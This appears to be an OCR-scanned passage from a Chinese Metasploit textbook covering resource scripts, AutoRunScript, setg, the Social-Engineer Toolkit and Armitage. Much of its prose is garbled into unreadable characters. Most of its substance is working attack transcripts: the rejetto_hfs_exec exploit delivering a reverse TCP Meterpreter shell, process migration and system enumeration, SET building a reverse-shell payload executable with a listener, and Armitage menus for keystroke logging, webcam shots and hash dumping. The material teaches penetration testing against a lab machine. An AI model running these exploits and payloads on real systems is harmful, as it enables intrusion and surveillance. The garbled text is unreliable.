Mse exploit/windows/http/rejetto_hfs_exec
set payload windows/meterpreter/reverse_tcp
set RHOST 192.168.10.109

set AutoRunScript multi_console_command -rc /root/my_scripts/multi_script
exploit
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TR IAR G BT XTHFS SCIF IR S5 2 A BB Ir i TR S8, JE528L T Xk iy A 3l
1. {ﬁﬁfU\fﬁﬁﬁmulti_console_commandXﬂ‘AutoRunScripti?_Fﬁ‘iﬁﬁ, WBfmulti console_

command{E N -rc, RFEMAVFIITZNRBENA T EA S FEE L ER
R EMANIEA, FHoPremhirait.

msf > resource /root/my_scripts/resource_complete

[*] Processing /root/my_scripts/resource _complete for ERB directives.

resource (/root/my_scripts/resource_complete)> use exploit/windows/http/rejetto_hfs_exec
resource (/root/my_scripts/resource_complete)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

resource (/root/my_scripts/resource_complete)> set RHOST 192.168.10.109

RHOST => 192.168.10.109

resource (/root/my_scripts/resource_complete)> set RPORT 8081

RPORT => 8081

resource (/root/my_scripts/resource_complete)> set LHOST 192.168.10.112

LHOST => 192.168.10.112

resource (/root/my_scripts/resource_complete)> set LPORT 2222

LPORT => 2222

resource (/root/my_scripts/resource_complete)> set AutoRunScript multi console command -rc /root/my scripts/multi_script
AutoRunScript => multi_console_command -rc /root/my scripts/multi_script

resource (/root/my_scripts/resource_complete)> exploit

[*] Started reverse TCP handler on 192.168.10.112:2222
[*1 Using URL: http://0.0.0.0:8080/SP6WO8sSPhH
[*1 Local IP: http://192.168.10.112:8080/SP6W08sSPhH
[*1 Server started.
[*] Sending a malicious request to /
[*1 Sending stage (957487 bytes) to 192.168.10.109
[*] 192.168,10.109 rejetto_hfs_exec - 192.168.10.109:8081 - Payload request received: /SP6WO8sSPhH
[*1 Meterpreter session 1 opened (192.168.10.112:2222 -> 192.168.10.109:49217) at 2016-07-11 00:42:05 +0530
Tried to delete STEMP%\pRizJBaJheeoPB.vbs, unknown result
[*1 Sending stage (957487 bytes) to 192.168.10.109
[*] Session ID 1 (192.168.10.112:2222 -> 192.168.10.109:49217) processing AutoRunScript 'multi_console_command -rc /root/my_scripts/multi script'
[*1 Meterpreter session 2 opened (192.168.10.112:2222 -> 192.168.10.109:49222) at 2016-07-11 00:42:07 +0530
[*1 Running Command List ...
*1 Running command run post/windows/gather/checkvm
[*1 Checking if WIN-SWIKKOTKSHX is a Virtual Machine .....
[*] Session ID 2 (192.168.10.112:2222 -> 192.168,10.109:49222) processing AutoRunScript 'multi_console_command -rc /root/my_scripts/multi script’
[*1 Running Command List ...

*1 Running command run post/windows/gather/checkvm
[*] This is a Sun VirtualBox Virtual Machine
*1 Running command run post/windows/manage/migrate

[*] Checking if WIN-SWIKKOTKSHX is a Virtual Machine .....

[*] Running module against WIN-SWIKKOTKSHX

[*] Current server process: notepad.exe (3316)

[*] Spawning notepad.exe process to migrate to

[*] This is a Sun VirtualBox Virtual Machine

*1 Running command run post/windows/manage/migrate
Migrating to 2964

[*] Server stopped.

neterpreter >
[*] Running module against WIN-SWIKKOTKSHX

[*] Current server process: UNJxwKFkUTU.exe (2940)
[*] Spawning notepad.exe process to migrate to

MBBEMALE R, AR T EEFTRZER : checkvmBlinigrat e MEHERE 2%
AT, 1 H BARisf7ESun A T B VirtualBox BT L, FEHIFE At B 253 # #notepad.exeit
e, AT T 25, BT LA S N .

meterpreter >

[*] Running module against WIN-SWIKKOTKSHX

[*] Current server process: UNJxwKFkUTU.exe (2940)

[*] Spawning notepad.exe process to migrate to
Migrating to 3120
Successfully migrated to process 2964
Successfully migrated to process 3120

TATE LI IR PR 2] T notepad.exeFFE I o Aid il Hinotepad.exe s 221 THYSE
], ] DR AR B AR

{FFautoRunScript I P MnultiscriptfRiR

LM Hmultiscriptii i inulti console_commandtidl, AE— G B EEA,
W EFR



9.5 & Metasploit *P 4% # AutoRunScript 239

GNU nano 2.2.6 File: multi scr.rc

checkvm

migrate -n explorer.exe
get_env

event_manager -i

M EERTEAE H, BATEZMNEIE T — % Amulti_scrref 5B BMA . BB — T X
MEBEWA, BBUS AT KPR .

GNU nano 2.2.6 File: resource complete

se exploit/windows/http/rejetto_hfs_exec
set payload windows/meterpreter/reverse_tcp
set RHOST 192.168.10.109
set RPORT 8081
set LHOST 192.168.10.105
set LPORT 2222
set AutoRunScript multiscript -rc /root/my_scripts/multi_scr.rc
exploit

mERpTR, BEEM Hnulci scriptﬂé%}ﬁ%mult i_console_command, RJ5 W HGE
BEARBEARRIAT . PSR EBEPI TN RSB ENA G S LBt A

msf > resource /root/my_scripts/resource_complete

[*] Processing /root/my_scripts/resource_complete for ERB directives.

resource (/root/my_scripts/resource_complete)> use exploit/windows/http/rejetto_hfs_e
xec

resource (/root/my_scripts/resource_complete)> set payload windows/meterpreter/revers
e_tcp

payload => windows/meterpreter/reverse_tcp

resource (/root/my_scripts/resource_complete)> set RHOST 192.168.10.109

RHOST => 192.168.10.109

resource (/root/my_scripts/resource_complete)> set RPORT 8081

RPORT => 8081

resource (/root/my_scripts/resource_complete)> set LHOST 192.168.10.105

LHOST => 192.168.10.105

resource (/root/my_scripts/resource_complete)> set LPORT 2222

LPORT => 2222

resource (/root/my_scripts/resource complete)> set AutoRunScript multiscript -rc /roo
t/my_scripts/multi_scr.rc

AutoRunScript => multiscript -rc /root/my_scripts/multi_scr.rc

resource (/root/my_scripts/resource_complete)> exploit

[*] Started reverse TCP handler on 192.168.10.105:2222
[*] Using URL: http://0.0.0.0:8080/elkYsP
[*] Local IP: http://192.168.10.105:8080/elkYsP
[*] Server started.
[*] Sending a malicious request to /
[*] 192.168.10.109 rejetto_hfs_exec - 192.168.10.109:8081 - Payload request receive
d: /elkYsP
[*] Sending stage (957487 bytes) to 192.168.10.109
[*] Meterpreter session 7 opened (192.168.10.105:2222 -> 192.168.10.109:49273) at 201
6-07-11 13:16:01 +0530
Tried to delete %TEMP%\I1HpSDXbuGy.vbs, unknown result
[*] Session ID 7 (192.168.10.105:2222 -> 192.168.10.109:49273) processing AutoRunScri
pt '‘multiscript -rc /root/my_scripts/multi_scr.rc'
[*]1 Running Multiscript script.....
[*] Running script List ...
*1 running script checkvm
[*] Checking if target is a Virtual Machine .....
[*] This is a Sun VirtualBox Virtual Machine
*1 running script migrate -n explorer.exe
[*] Current server process: egmvsHerJGkWWt.exe (2476)
Migrating to 3568

MRA135 HFR RGN HIAPR 2 )5 , checkvmBi i s H A HAT , ZFmigrate.get_env
Flevent _manager i 2 MKIKIAT, KR,
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meterpreter > Successfully migrated to process
I*1 running script get_env
[*] Getting all System and User Variables

Enviroment Variable list

Name Value

APPDATA C:\Users\mm\AppData\Roaming
ComSpec C:\Windows\system32\cmd.exe
FP_NO_HOST_CHECK NO

HOMEDRIVE C:

HOMEPATH \Users\mm

LOCALAPPDATA C:\Users\mm\AppData\Local
LOGONSERVER \\WIN-SWIKKOTKSHX
NUMBER_OF_PROCESSORS 1

0s Windows_NT

PATHEXT .COM; .EXE; .BAT; .CHD; .VBS; .VBE; .JS; .JSE; .WSF; .WSH; .MSC

PROCESSOR_ARCHITECTURE x86
PROCESSOR_IDENTIFIER x86 Family 6 Model 60 Stepping 3, GenuineIntel
PROCESSOR_LEVEL

PROCESSOR_REVISION 3c03

Path C:\Windows\system32;C: \Windows; C: \Windows\System32\Wbem; C:\W
indows\System32\WindowsPowerShell\v1. 0\

TEWP C:\Users\mm\AppData\Local\Temp\1l

THP C:\Users\mm\AppData\Local\Temp\1

USERDOMAIN WIN-SWIKKOTKSHX

USERNAME mm

USERPROFILE C:\Users\mm

windir C:\Windows

*1 running script event_manager -i

[*] Retriving Event Log Configuration

Name Retention Maximum Size Records

TRV EA il event_manager iR AMSE -1 v IEF B 24 LA HE., U7
event_managerfi a4 RN E R

*1 running script event_manager -i
[*] Retriving Event Log Configuration

Event Logs on System

Name Retention Maximum Size Records
Application Disabled 20971520K 130
HardwareEvents Disabled 20971520K 0

Internet Explorer Disabled K 0

Key Management Service Disabled 20971520K 0

Security Disabled K Access Denied
System Disabled 20971520K 1212

Windows PowerShell Disabled 15728640K 200

9.6 Metasploit FHILFHEE

MPATEENT R Y P A AL R EML BB I, SR LA set ofin 2ok 35 52
LHOSTHIRHOSTIAI . fii fflsetgfird i) LS RHOSTEL# LHOSTIE I 4 Jm k., 1B A Ta] AR T
AR, Ik, i setgfir AT LIk & 5 Bk ek, AN YT H Hsetgfn s
FHEATIRIAY I E, WILPORT . RPORTHMIpayload, {H R NAIEIAY AR S5 1 H s A T7EA R A
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17 ELFATA o 5 ZAG b el a8y, iy AT G S8 — 5 A A AR A1 A TR S 4 1) 0
5o NHEDRBE—mB,

msf > setg RHOST 192.168.10.112

RHOST => 192.168.10.112

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit (ms08 067 _netapi) > get RHOST
RHOST => 192.168.10.112

msf exploit (ms08 067 netapi) > use exploit/windows/ftp/freefloatftp user
msf exploit(freefloatftp user) > get RHOST
RHOST => 192.168.10.112

msf exploit(freefloatftp user) > back

msf > getg RHOST

RHOST => 192.168.10.112

i EEAAEL, A setgm D% B T REOST, TCISTA T 2/ A8, Frf i A REOS T
(HAN S R A, AT TCE BB b #58 Falifis ARHOSTIH . getind R /R —/148
HHE, Mgetgfd X BR— 4R EIE.

9.7 Bzt IREFTEE

S TEFTEE (Social Engineering Toolkit, SET ) f&—&J:T Pythonih 5 ) T HAES,
FEE A AT EB B, HSETR LISCBLZFhIcts , Blan Mg & mrict: . o ket
K& OB o W DU BTS2 R 52 35 8 AR EL TR A 1E 5 W U8 31 55— R oL, A=t
SO AR B BT X H RS2 35 RN A A T et o Ao TR T B KA 2
AHET B R T ERBRBR S0 771, At AN vk ] DL g B im et 1)

8 Jm R A 3K BSET A8 & #A2, #4 7% I http://www.social-engineer.org/framework/

se-tools/computer-based/social-engineer-toolkit-set/,

{ FHSETH] LA R AR i 70 i g BARSCA, AP A Sh A EIAS 9 2R s BE S bR . - T
T —A R

root@mm: /usr/share/set# ./seautomate se-script

[*] Spawning SET in a threaded process...

[*] Sending command 1 to the interface...

[*] sending command 4 to the interface...

[*] sending command 2 to the interface...

[*] sending command 192.168.10.103 to the interface...

[*] Sending command 4444 to the interface...

[*] Sending command yes to the interface...

[*] Sending command default to the interface...

[*] Finished sending commands, interacting with the interface..

W EEpTR, FfMfEseautomate TEAVEH T —Ase-scripthfiAs , $047)5 7748 T — 1k
Tidf A T — BB i thandler. IRFERBEANSHT 50N IA .
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GNU nano 2.2. File: se-script Modified

192.168.10.103
4444
ves

PRABASAR N E BAS o B NG 2 i 7 A= . Bt thandler (S A7 A SC R 2

EZHTTHER, SETE—PSKIREhn TE, Pk S8 R i S A 0 191D .
PRAERF XA F Sk IS R0 i B A BB A T

WA B — RO 1 S B ISR 1IN, iR 7R+ T Social-Engineering AttacksiZE3l

1) Social-Engineering Attacks

2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

JAASH S — N R4, X RS EEERE T TR ) Create a Payload and ListenerE5

1) spear-Phishing Attack Vectors
2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener
5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors

10) sMs sSpoofing Attack Vector

11) Third Party Modules

99) Return back to the main menu.

set> 4

B —TEFRE2, XEWE M ZE8 2 Windows Reverse TCP Meterpreter, 411 T [
R o

1) Windows Shell Reverse TCP

2) wWindows Reverse TCP Meterpreter

3) Windows Reverse TCP VNC DLL

4) Windows Shell Reverse TCP X64

5) Windows Meterpreter Reverse TCP X64
6) Windows Meterpreter Egress Buster
7) Windows Meterpreter Reverse HTTPS
8) Windows Meterpreter Reverse DNS

9) Download/Run your Own Executable

set:payloads>2
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PR SRR B T s A IPHIHE , iz bk i E A Ay 192 . 168.10.103, AJLA
F ol X ik o

|set:pazloads> IP address for the payload listener (LHOST):192.168.10.113

TS EUE R 4444, XWREITERINH S,

set:pavloads> Enter the PORT for the reverse listener:4444
Generating the payload.. please be patient.
Payload has been exported to the default SET directory located under: /root/.set/payload.exe

AR R R — 2t o Eyes, FRPILALEYTAS .

|set:payloads> Do you want to start the payload and listener now? (yes/no):yes|

BT yvesZJa, #HHIAGK DI 3] T MetasploitF-H' . Metasploit [ s &7 T —4~5 15 K [n)
handler, 41N HAYERIE TR

[*] Processing /root/.set/meta_config for ERB directives.
resource (/root/.set/meta config)> use multi/handler
resource (/root/.set/meta config)> set paylcad windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp

resource (/root/.set/meta config)> set LHOST 192.168.10.113
LHOST => 192.168.10.113

resource (/root/.set/meta config)> set LPORT 4444

LPORT => 4444

resource (/root/.set/meta config)> set ExitOnSession false
ExitOnSession => false

resource (/root/.set/meta config)> expleoit -j

[#*] Expleit running as background job.

FRATTAT LA AL A0 7 i SE BT A SETH 5 1 A slifb . SETHEA: iU P B i 1Y B Xt
Bt ] AT A KENTE] . ANid R fi fHseautomate THEMTE, HET LIASSHE P,

9.8 /&

X — % B IS T 2 e i FH Metasploit I8 3% M A BE . A A2 T pushm .
popm., loadpath, reloadflledit % n] LUIMRIF & AR IHERE 4o 3N T anfar i g
FR A RE FlautoRunSceript . FATEF M TR ENIRE . Behiaang A shib 4k s s
FHSETHE N B i thandler S #4F

T—FK 2l FMetasploithi AT H EIE AL A i T 2 Armitage >k SEELE B LI, iS4
Cortanaf{IAR 4 E , DUS AL AT LA FH Armitage’s B A T 1)




#1 F ArmitageSC I
Metasploithy o] 1L L EIE

CRFORRARENE, AT FERLITGER, AERARRBRRNY, ARAH
FA— ‘EHAK, KRBT A, AR REFRITAGEE, T L2 Fk
AEIIL R AL B bl 5
—Ashton Kutcher
E—mRAN A T S AN B HE RS S — MBI LA, AT
A2 m B @i ses.

Armitage & — 1~ KB AL #RAE T B, 38 53 © AT LURE 4 48 31 Metasploit . Armitage S 88
Metasploitfi A BAERT AT AL, W osHRIEE AL 1. Armitageids & 4 TMetasploitif i) 252 il
PN B T AR I r TR,

AFNGA 4 Armitage X HINBE , FFRREIR AR Qnifar i FHMetasploit B > ] fi AL T 21 785
M, AL 15 308 2 48 Wal S Armitage ) Cortanalii4s .

AEHERT LU ILAE S

Q fi# F Armitagedt 1135 1B

Q i ArmitagetEf T FE T A G

Q XF HFRRIZE A EAL R E R B HE

O ArmitagefP)J5 BB,

O CortanafIAS (1) JERHAITH

O 7 Armitage "' ] Cortanafii A< i1 7 M it o

T, MlArmitagedt T 1R X BOS & A A AR FEAE

10.1 Armitage RIE K JRIE

Armitagest— NI BT A, B REIEA T 5B T MetasploithE42 ) [ 3Lt . Raphael
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Mudge R fHJavattl i T Armitage, ‘EHHA BT 50, BT LIYE Windows FlLinuxik £ [A] 1
/%é LJ:EX:I o

10.1.1  AIJFAIR

AT, FRATEAEKal Linux 2358 T {# F Armitage. Jii 3l Armitage 20 3RUNT s .

(1) FTHF—ALinuxZ3iy, SRGHEH PR AMSarnitage, WFEPIR,

File Edit View Search Terminal Help
root@Apex:~# armitage

Connect... ‘ - ‘ o l X
Host 127.0.0.1
Port 55553
User msf
Pass test
Connect Help

(2) XS 23 — N GHEHE , B X 3EHE [ ) Connectf# 4 K i 37— %l Metasploit ) 4%

(3) A TR UEArmitagefig 1E % )5 31 , Metasploit s i) I #2313 #2 18 F ( Remote Procedure Call, RPC )
R 55 as b Seiat TR . FEZHT AR XIS AE Hh Lo ConnectH i B, — IS8 A XA HE s 23 3

Ko XARTEHEZ R FA T2 B AEE Metasploit iU RPCHR 55 o Bty T I Y 535 A Hh 1) Yes $4¢ 41

Start Metasploit?

A Metasploit RPC server is not running or

o not accepting connections yet. Would you
like me to start Metasploit's RPC server
for you?

(e |

(4) WAL — p iR % Metasploitf) RPCIR 55 A sl dfia T itk . fEX A fed, AITHKS
F %71 3 Connection refused AT H BHL . 3X 2% K b Armitage— ELZEMIA S HARIEHIE B O LT .
AN TR AN T PR AR s o
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Progress...

Connecting to 127.0.0.1:55553
java.net,ConnectException: Connection refused
]

[—

Cancel

S — AR B Armitage I T B B AT .

Q R FH— oot FH P AR A T T A% .
O ARAEKali Linux3 88 N TAE, 2641503 3liPostgreSQLEHE 4 iR 55 FMetasploithi 55 . 1] LA
AR A e

root@kali~:#service postgresqgl start
root@kali~:#service metasploit start

9 A * Armitage & 3y 4512 09 £ % 12 B, 1% F http://www .fastandeasyhacking.
com/start,

10.1.2 AFPFRE—NR
WA 5 Metasploit i H2E M Jo b T, FRATHET LAE 2] Armitage ) AL 1A T o XA FHHA
AR AN R

Armitage View Hosts Attacks Workspaces Help

» (& auxiliary
» [ exploit
» (& payload

0.0.0.0

nding pages and listeners
o launch it now.
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Armitagef SRR, FEAE T =PDARMEHERT . IERITRIFAER X =D Ekes
FIEIPEI

Q FH—EKEE T MetasploitH [T A DIRERLER AN, XEHE TH#ENIER | SiBER
KE ARG EEER ., AT LLNZ R G54 i Y — ik, SRS 7E i it
Xt R St e, A, FESE— RS A B IEA — MR/ ARE, AT
ERMOH I RTF BRI, A E 2RSS F AN o S A T %

Q B AEE BR T M Y/ T A AEL BT AL AT A% 5 2 LUREE g =X ok
WARTHENL BN, 22435 Windows#/E RS MTTHEALE A —AE B R4 42b A Windows
BRI DR R . 52260, LinuxBFRCEE Linux B RS, HAWBGR IR R HA,
R4 (HlUMacss ), FTEMHLSPAR A — N TEMHUE R EIbR . X FhRRITIETE S S
BOYFRATTR T R4 p s £ 2 A

Q 5 =AEAS T LSS R A BEE . JFBE R . B Metasploiti 217, AL
5B EFHUR 258

10.1.3 TIEXMWER

IEMBATERTILE P SIRREE, TAR DR AR AR A R B i SCPR Y o (RBEFRATT 4 iy
RS AR E AR, R TR RN, AFAE TR M LML) Sh—E Y
HEAHL EXFEIET, AT LAETEE—SB A TAR DCE D00 B ARG Rl R RaE 1
EREVERSA Y . NI, 7E5ERUX A TAE XA TAE UG, AT RIS AL TARX . TAEIX
FEYIHT AT LA B3 Z B R A7 BIAR G TAR A AR o XD AE T LSS BRAERE AT R 140 T AR A
MPRAFEEAS FARASIAS R . IXRERURE G T A5 Rl R A LG R A — .

WA BRI TAEX, B Mi8 Workspacesit i, SRJ5 #idiManage., X FEMCKS
Z37F Armitage " = — S H ) Workspacesi Wi, 4R T A9 BRI TR o

[Consu\e XTworkspa:es X}

name | hosts | ports 05 |labels ~ |session

Activate Add Edit Remove

XA HT R R AE Armitage 55 =N g L, BT LIS B TRR A 2T TAEX 1S
B BRiEX BB AREEMAIARTE, FOFRATE A B QAT TAEX
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PR — B TR Eo T AddRER, AR Y SR s o

MNew Workspace e @ 0

Name: Internal Scan

Hosts: 192,168.10.0/24

Forts:

0s:

Labels:

[] Hosts with sessions only

Add

FATAT AT B AR TAEX, Hein—>4192.168.10.0/24 ) N ERHHE TGl . FEiZS M T
AN SE e FEl 2 5 WorkspacesiE i .

Console X | Workspaces ){W

name | hosts

Internal Scan 192.168.10.0/24

A LABEI U0 TARIX . Rl E R TARIX, SRS Hili ActivatefZ L EI T

10.2 MERwMUAKLENER

Armitage P { F 337 i Hosts 6101 Sk S B AL A B E N AL 454 o T L 00
P4 I Hosts BN LI, SR J5 e 72 88 I Ay Import HostiE 5 M SCFH S A EHL. 1 1] DL 7EHosts
rhitHAdd Host, Fali's A—5 L.

Armitaget FEHE FHFAR AL, X LTG0 T PIFIZERY . Nmap#3## ( Nmap scan ) Fl
MSF#3## ( MSF scan ), MSF#4# il LU H{MetasploitH i) R ks AR 55 4 FA5EH . Nmapd 4
DT LA FH 224 Ay e A et 193 14345 T - Network Mapper ( Nmap ).
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1EHHostsIEM R IMSF scanie 00 28 #1744 . ANid i diMSF scanZ J&, Armitage2s 31
—AXPEAE . X AR EIAS AN HARTEE, A0 SRR IR TR

Input

Enter scan range (e.g., 192.168.1.0/24):
1192.168.10.0/24 |

Cancel

A BARI ISR UG, Nmap 2 B ARSI NI EVLASR ko5 DL ERAE R Gt T
. FTUTER B =D E P B B TEE S, T RS,

[ Console X T Workspaces X T Scan X W

msf auxiliary(smb_version) = set RHOSTS 192.168.10.1, 192.168.10.110, 192.168.10.105, 192.168.10.109

RHOSTS == 192.168.10.1, 192.168.10.110, 192.168.10.105, 192.168.10.109

msf auxiliary(smb_version) > run -j

[*] Auxiliary module running as background job

[*] 192,168.10,110:445 is running Windows 2012 R2 Standard (build:9600) (name:WIN-3KOU2TIJ4E0) (domain:WIN-3KOUZTIJ4EQ)
[*] 192.168.10.109:445 is running Windows 2008 Web SP1 (build:6001) (name:WIN-SWIKKOTKSHX) (domain:WORKGROUP)

[*]1 192,168.10,105:445 is running Windows 10 Pro (build:10586) (name:DESKTOP-PESQ21S) (domain:WORKGROUP)

[*] 192,168.10.1:445 could not be identified: Unix (Samba 3.0.14a)

[*] Scanned 4 of 4 hosts (100% complete)

[*] 1 scan to go...
msf auxiliary(smb_version) = use scanner/winrm/winrm_auth_methods
msf auxiliary(winrm_auth_methods) > set THREADS 24
THREADS => 24
msf auxiliary(winrm auth_methods) > set RPORT 5985
RPORT == 5985
msf auxiliary(winrm_auth_methods) > set RHOSTS 192.168.10.110
RHOSTS == 192.168.10.110
msf auxiliary(winrm_auth_methods) > run -j
[*] Auxiliary medule running as background job
192, 168,10, 110:5985: Negotiate protocol supported
[*] Scanned 1 of 1 hosts (100% complete)

[*] Scan complete in 241.78s
msf auxiliary (winrm_auth_methods) =

TEFMES R, B FARRIZE ) LA 2 LUEIRR B U R a5 Ak b o X SE bR R
AP T B AR R G R AL

192.168.10.110 192.168.10.105 192.168.10.109

e _EEH AT LLE 3 Windows Server 2008 . Windows Server 2012f1Windows 108R %%, 5 k&
EF—F Bbs LB ks .
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10.2.1 wRAAERER

T Hbr BV Ep AR AR, SRS 7E T AR s e Services, IXAERE AT LA A 1T FHL

PIETEEATHIMRST o S AEE RS R T BB EIE

- & auxiliary
- 5 exploit
» (B payload
L [ﬁ post

192.168.10.110

192.168.10. 109

192.168.10. 105

Console X | Senvices )(]

host | name | port 4| proto | info

192.168.10.109 http 80 tcp Microsoft IS httpd 7.0
192,168.10.108 msrpc 135 tep Microsoft Windows RPC
192,168.10.108 netbios-ssn 139 tep Microsoft Windows 98 netbios-ssn
192.168.10.109 microsoft-ds 445 tep primary domain: WORKGROUP
192,168.10.109 sslfms-wbt-server 3389 tcp

192,168.10.109 HttpFileServer httpd 2.3
192,168.10.108 msrpc 48152 tep Microsoft Windows RPC
192.168.10.109 msrpc 48153 tcp Microsoft Windows RPC
192,168.10.108 msrpc 48154 tep Microsoft Windows RPC
192,168.10.108 msrpc 48155 tep Microsoft Windows RPC
192.168.10.109 msrpc 49156 tep Microsoft Windows RPC
192,168.10.109 msrpc 48157 tep Microsoft Windows RPC

1£192.168.10.109 EHL iz T ERZ MRS, HIANILS 7.0 . Microsoft Windows RPC , HttpFileServer
httpd 2.3, %%, i# i Armitagedk ) 5iX LR 55 FHVCRC B SR, SRR LL 55 1) —ME

PR,

10.2.2 EH AR

LGB PR TSR IR B B B JofE Armitage FATRE SR Attacks BB, 7E5H
H NS FRAE T L PEFind AttackiET . Find AttackBESFURF 23R4 H AR EHL_ BT RS 5815
B P A N AR EA T HXT o T8 SRR PR X R R R LU, B2 — MR E, SR 1Y
PN T R R T

o

Message

Attack Analysis Complete...

You will now see an 'Attack’ menu attached
to each host in the Targets window.

Happy hunting!
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ORI LR, TATVMAER R, e AL Ly BbnA s, 5 S i — 444 S Attack
RIS T T o 7R BB —ZE rp 2 on ] UHDIRE & H bs EVLR BB B AR

10.3 {£M Armitage #1T81E

M—6 EWL M Attack SR IR, X HAR TSNS TSR T JATZEE Bir
JHttpFileServer 2.3, KA Attack=Z . |"Rejetto HTTPFileServer Remote Command Executioni3 i 45
Y8t o B Exploit e I 235 il — B i g 1, P JROR TR A E . AT E TR PR,

192.168.10.110 192.168.10.109 192.168.10. 105

Attack 192.168.10.109 @ 0 0

Rejetto HttpFileServer Remote Command Execution

poor regex in the file Parserlib. pas. This module exploits the HFS scripting commands by

using '%00' to bvpass the filterina, This module has been tested successfullv on HFS ¥

Rejetto HttpFileServer (HFS) is wulnerable to remote command execution attack due to a F

Option 4| Value |
=T To 7
Proxies
RHOST + 192.168.10.109
& | RPORT 8081
| SEVHOST 0.0.0.0
A Targets: |0 == Automatic |¥
fl @ Use a reverse connection
fl
d L Show advanced options
Launch

TEFTA IR B E e R 2 5, BidiLaunchols Ak T3l FHARIIB BRI . 185 3h 1815
BRUUS, KR RS =AM P A BB S HAR LPdTid e, ik ERmR.
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v & auxiliary
> ﬁ exploit
» [ payload
> ﬁ post

[ Console XT Services X T exploit XW

msf > use exploit/windows/http/rejetto_hfs_exec

msf exploit(rejetto_hfs_exec) > set TARGET 0

TARGET => 0

msf exploit(rejetto_hfs_exec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(rejetto_hfs_exec) > set LHOST 192.168.10.104
LHOST == 192.168.10.104

msf exploit(rejetto_hfs_exec) > set LPORT 21427

LPORT == 21427

msf exploit(rejetto_hfs_exec) > set RPORT 8081

RPORT => 8081

msf exploit(rejetto_hfs_exec) > set RHOST 192.168.10.109
RHOST => 192.168.10.109

msf exploit(rejetto _hfs_exec) > set TARGETURI /
TARGETURT => /

msf exploit(rejetto hfs_exec) > set SRVPORT 8080
SRVPORT => 8080

msf exploit(rejetto_hfs_exec) > set SRVHOST 0.0.0.0
SRVHOST => 0.0.0.0

msf exploit(rejetto_hfs_exec) > set HTTPDELAY 10
HTTPDELAY => 10

msf exploit(rejetto_hfs_exec) > exploit -j

[*1 Exploit running as background job.

[*] started reverse TCP handler on 192.168.10.104:21427
[*] Using URL: http://0.0.0.0:8080/Fegelp

[*1 Local IP: http://192.168.10.104:8080/Fegelp

[*] Server started.

[*1 Sending a malicious request to /

[*1

[*1

[*1

192.168.10.109 rejetto_hfs_exec - 192.168.10.109:8081 - Payload request received: fFegelp
Sending stage (957487 bytes) to 192.168.10.109
Meterpreter session 1 opened (192.168.10.104:21427 -> 192,168.10.109:49281) at 2016-07-12 22:57:07 +0530
Tried to delete %TEMP%\caiqDMq.vbs., unknown result
1 Server stopped.

[

FATE FMeterpreterd N E LR 8, XEWRECDLSWMIIHBIE T BinFEHL, A, BinFEHL
IR S BT AN IS, X EWERME LA Tz BT

10.4 £ Armitage H{TESER T

Armitage 1IN A1 51837 Wy B AR IR ey, 7 38 A5 Bpoh BRUPR gt ] LA 5 I A )
(TS EY F{’%éﬁﬁ%ﬂﬁﬁﬂﬁ , R%f BB IE T 0 ML LR BARRE, SRIS R TR
) MeterpreteriE I . X — VI EFis .

Meterpreter 4

| 2 -

Services T ~ Escalate Privileges

- Steal Token
Sgan Explore »

_.p i Dump Hashes »
Host Elvoting - Persist

R L Pass Session

| Kill
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ePEMeterpreterh 23 /R i TA MR B @A . BT A S M AR uH AR RPN
PRLRR, AR ] LUK SARFS Sh 21~ TS B Accessih , SRS Bl Tt DU RE AL LI AT

TR HInteractfE It T LU T UIRE : 45 HARTENLMemdfr 21T . #5775 — 1 Meterpreter, 555,
?ﬁ%ExploreT%ﬁETBrowse Files. Show Processes. Log Keystrokes. Screenshot. Webcam Shot#{IPost
ModulesiEi, A S HAMARAE GHISC AP IR S B S, QR SRR E R

-
Attack >
>

Meterpreter 4

P Services
COTKSHX\mig=taET!
Host »

Access »
Interact >

E::plre i Browse Files
Pivoting » | Show Processes
ARP Scan...

Log Keystrokes
Kill Screenshot
Webcam Shot

| Path Post Modules

n] LA7EBrowse Fileseil L ity st — RIS Bad e, 4nk EFmR .

(@ | c\Users\mm\Desktop\abbd97bd93affefa3379b2aaf73fcoc7 -hfs2.3_288

D 4| Name | size | Modified | Mode

E wTEMP% 2016-06-20 10:32:56 +0530 40777 /rwkrver i
ecqu 2016-06-19 20:34:34 +0530 40777 [rwsrvexrwx
hfs.exe 742kb 2014-02-17 02:28:52 +0530 10077 7/rwkrwrws

| Upload... | | Make Directory | | List Drives | | Refresh

R — rU ARt il LU M A% R 3808 D SE AT AT H AR R GE R A9 SCPF . Xt e
Armitage )i J)——— VIR AL AL BIE SRR AR, 1EARE AT B =2 i a1k

XA T AL Armitage T 1 —RIEFRBEIGE . 35T kM Armitage P/ — K% )
S iNRE Sl s

10.5 {£F Armitage #H{TER g T

P BGE T EA R Z EE WG, TEZ AT —SEm R RN LIRS T FBL, A1
BRI HARMZS R — G, X S LETTE Windows 108ERSE. 7EX B
odirf, PR QA B BT, REHAGR R 2, RRTTIT AT W T de it O
R FHITTIXA T3 . FAATXX S BUGE B TARRRERIF AR A, EZATRE T hde
S22l iiMetasploit FISETAE T HIE MU MR BIAESS 1o 7E88 TR~ 2T, AR 2 S i ]
PR A St i B e el o 55 7 A A7 B el o A ECIE DX
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IERNTRE B QIR e W ds gl B, PBRATF PR

(1) RS — AT, SR 2R G R 3R B FA T B o afr . 24T
SIS FH A T 2 Aar S Meterpreter 1 [ reverse_tep, B TR B9 EARAL & AR KR .

|| reverse_http

[ reverse_https

[ reverse_ipv6_http
[ reverse_ipv6_https
E| reverse_ipve_tcp
[ reverse_nonx_tcp
[ reverse_ord_tecp

[ reverse_tcp_allports
[ reverse_tcp_dns
[ metsve_bind tep
E| metsvec_reverse_tcp
* [ patchupdlinject
* (Bl patchupmeterpreter
Fom =N n

(2) IR R I BEE BT U6 TAF, 720G g . Wk 2 )5 23— X HEHE,
TEIXA UL | 25 /8 H IR 8y o BB B I A e I, X R~ B R

windows/meterpreter—reverse_tcp IO
Windows Meterpreter Shell, Reverse TCP Inline

Connect back to attacker and spawn a Meterpreter shell

Option 4 | value
CATITNTT
